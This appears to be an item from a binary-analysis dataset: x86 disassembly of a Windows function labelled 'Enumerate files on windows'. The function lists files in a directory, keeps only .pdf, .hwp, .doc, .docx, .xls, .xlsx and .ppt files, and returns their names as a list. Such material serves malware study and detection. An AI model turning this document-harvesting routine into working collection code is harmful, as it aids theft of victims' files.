Function at 0x40108c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x654
push edi
mov byte [ebp - 0x404], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x400
call fcn.00401967
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x408], 0
mov byte [ebp - 0x650], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x64f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x410], eax
lea eax, [ebp - 0x550]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0xffffffff
jne 0x40119e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x407050
lea edx, [ebp - 0x650]
push edx
call fcn.004015fb
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x650]
push eax
call fcn.00401580
add esp, 4
push eax
lea ecx, [ebp - 0x650]
push ecx
mov edx, dword [ebp - 0x410]
push edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp + 8]
push eax
push str.Error_finding_file:__s_n
lea ecx, [ebp - 0x650]
push ecx
call fcn.004015fb
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x650]
push edx
call fcn.00401580
add esp, 4
push eax
lea eax, [ebp - 0x650]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
xor eax, eax
jmp 0x401415
push 0x2e
lea edx, [ebp - 0x524]
push edx
call fcn.00401940
add esp, 8
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 0
je 0x40131f
push str..pdf
mov eax, dword [ebp - 0x654]
push eax
call fcn.004018b0
add esp, 8
test eax, eax
je 0x401272
push str..hwp
mov ecx, dword [ebp - 0x654]
push ecx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x401272
push str..doc
mov edx, dword [ebp - 0x654]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x401272
push str..docx
mov eax, dword [ebp - 0x654]
push eax
call fcn.004018b0
add esp, 8
test eax, eax
je 0x401272
push str..xlsx
mov ecx, dword [ebp - 0x654]
push ecx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x401272
push str..xls
mov edx, dword [ebp - 0x654]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x401272
push str..ppt
mov eax, dword [ebp - 0x654]
push eax
call fcn.004018b0
add esp, 8
test eax, eax
jne 0x40131f
cmp dword [ebp - 0x408], 0
jle 0x40128f
push 0x4070a4
lea ecx, [ebp - 0x404]
push ecx
call fcn.004017d0
add esp, 8
lea edx, [ebp - 0x524]
push edx
lea eax, [ebp - 0x404]
push eax
call fcn.004017d0
add esp, 8
lea ecx, [ebp - 0x524]
push ecx
call fcn.00401580
add esp, 4
mov edx, dword [ebp - 0x408]
lea eax, [edx + eax + 1]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x400
jle 0x40131f
push str.Error:_file_list_is_too_long._n
lea ecx, [ebp - 0x650]
push ecx
call fcn.004015fb
add esp, 8
push 0
push 0
lea edx, [ebp - 0x650]
push edx
call fcn.00401580
add esp, 4
push eax
lea eax, [ebp - 0x650]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov edx, dword [ebp - 4]
push edx
call fcn.0040174e
add esp, 4
xor eax, eax
jmp 0x401415
lea eax, [ebp - 0x550]
push eax
mov ecx, dword [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40119e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x401396
mov edx, dword [ebp + 8]
push edx
push str.Error_reading_file:__s_n
lea eax, [ebp - 0x650]
push eax
call fcn.004015fb
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x650]
push ecx
call fcn.00401580
add esp, 4
push eax
lea edx, [ebp - 0x650]
push edx
mov eax, dword [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040174e
add esp, 4
xor eax, eax
jmp 0x401415
mov edx, dword [ebp - 0x40c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 0x408], 0
jne 0x4013f8
push str.No_matching_files_found._n
lea eax, [ebp - 0x650]
push eax
call fcn.004015fb
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x650]
push ecx
call fcn.00401580
add esp, 4
push eax
lea edx, [ebp - 0x650]
push edx
mov eax, dword [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040174e
add esp, 4
xor eax, eax
jmp 0x401415
mov edx, dword [ebp - 0x408]
push edx
lea eax, [ebp - 0x404]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401650
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret